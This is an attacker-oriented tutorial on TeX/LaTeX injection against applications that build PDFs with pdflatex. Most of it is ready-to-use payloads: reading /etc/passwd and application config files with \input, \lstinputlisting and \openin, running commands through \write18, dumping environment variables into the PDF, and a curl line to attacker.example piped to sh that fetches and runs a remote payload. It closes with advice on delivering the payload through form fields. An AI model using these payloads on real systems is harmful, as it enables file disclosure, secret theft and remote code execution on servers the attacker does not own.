Applications that build PDFs by compiling a TeX template with pdflatex (invoices, certificates, reports) often drop user fields straight into the source. Because TeX is a full macro language, an unescaped field becomes executable markup: file disclosure through include primitives and, when shell-escape is on, operating-system command execution.
The sink#
A template interpolates a value with no escaping:
\documentclass{article}
\begin{document}
Hello, USERNAME_HERE
\end{document}
Whatever you submit for the username is compiled as TeX, so control sequences in it run.
Reading server files#
\input and \include splice another file's contents into the document, which then renders into the output PDF:
\input{/etc/passwd}
\input{/etc/hostname}
\lstinputlisting (from the listings package) reproduces a file verbatim, preserving formatting that \input mangles:
\lstinputlisting{/etc/passwd}
\lstinputlisting{/var/www/app/config.php}
\include and the lower-level \openin/\read pair achieve the same disclosure when those packages or primitives are available:
\newread\f
\openin\f=/etc/passwd
\read\f to \line
\line
\closein\f
Command execution with shell-escape#
\write18 runs a shell command when the engine is invoked with -shell-escape (or shell_escape = t in the config). Many server pipelines enable it for diagram or image generation, which is all the attacker needs:
\immediate\write18{id}
\immediate\write18{id > /tmp/o; }\input{/tmp/o}
The second form captures the command output back into the PDF by writing to a file and including it. A fuller takeover fetches and runs a payload:
\immediate\write18{curl http://attacker.example/s.sh|sh}
Even in restricted shell-escape mode, allowlisted helpers like \write18{bibtex ...} or the image-conversion hooks can sometimes be steered to run arbitrary binaries.
Macro abuse for exfiltration#
Beyond includes, TeX primitives read the environment and filesystem into macros you can render or write out. \input on a pipe, and the \immediate\write of harvested values to an attacker-reachable file during compilation, turn the build host into the exfil point:
\immediate\write18{env > /tmp/e}
\input{/tmp/e}
Package-specific vectors widen the surface: \usepackage{verbatim} with \verbatiminput, \catcode tricks to re-enable disabled characters, and \InputIfFileExists to probe for files before reading them.
Delivery#
Submit the payload through whatever field the template renders (name, address, invoice line item, profile bio). The attack fires server-side the moment the application runs pdflatex, so the output PDF, or a compilation error leaking file contents, is returned to you or stored for later retrieval.
Tools#
- Burp Suite: Repeater for submitting TeX macro payloads.
- Manual
\inputand\write18payloads compiled by the target engine.